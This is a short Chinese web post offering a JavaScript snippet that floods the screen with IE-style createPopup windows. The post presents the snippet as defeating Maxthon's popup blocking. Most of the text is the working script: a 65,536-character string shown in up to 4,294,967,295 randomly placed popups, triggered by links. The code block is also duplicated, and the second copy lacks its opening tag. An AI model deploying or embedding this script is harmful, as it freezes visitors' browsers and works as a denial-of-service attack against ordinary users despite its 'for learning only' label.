未关Script的Maxthon无法阻止这样的弹出窗口,太凶悍,慎用,仅供学习之用,测试版本1.3.3
请将以下代码存入<body>中,在Maxthon里面打开,Take care!
请将以下代码存入<body>中,在Maxthon里面打开,Take care!
<script language="javascript">
var popString="哈";
for (var i=0;i<16;++i)
popString+=popString;
var popWindow=window.createPopup();
popWindow.document.body.innerHTML+=popString;
var screenWidth=screen.width;
var screenHeight=screen.height;
var posX=0;
var posY=0;
function kill(rounds)
{
for (var i=0;i<rounds;++i)
{
posX=Math.round(screenWidth*Math.random());
posY=Math.round(screenHeight*Math.random());
popWindow.show(posX, posY, Math.round((screenWidth-posX)*Math.random()), Math.round((screenHeight-posX)*Math.random()));
}
popWindow.show(0, 0, screenWidth, screenHeight);
}
</script>
<center>
<a href="#" onclick="kill(100); return false;">运行100次</a><br><br>
<a href="#" onclick="kill(1000); return false;">运行1000次</a><br><br>
<a href="#" onclick="kill(4294967295); return false;">运行无数次(千万不要点)</a>
</center>
var popString="哈";
for (var i=0;i<16;++i)
popString+=popString;
var popWindow=window.createPopup();
popWindow.document.body.innerHTML+=popString;
var screenWidth=screen.width;
var screenHeight=screen.height;
var posX=0;
var posY=0;
function kill(rounds)
{
for (var i=0;i<rounds;++i)
{
posX=Math.round(screenWidth*Math.random());
posY=Math.round(screenHeight*Math.random());
popWindow.show(posX, posY, Math.round((screenWidth-posX)*Math.random()), Math.round((screenHeight-posX)*Math.random()));
}
popWindow.show(0, 0, screenWidth, screenHeight);
}
</script>
<center>
<a href="#" onclick="kill(100); return false;">运行100次</a><br><br>
<a href="#" onclick="kill(1000); return false;">运行1000次</a><br><br>
<a href="#" onclick="kill(4294967295); return false;">运行无数次(千万不要点)</a>
</center>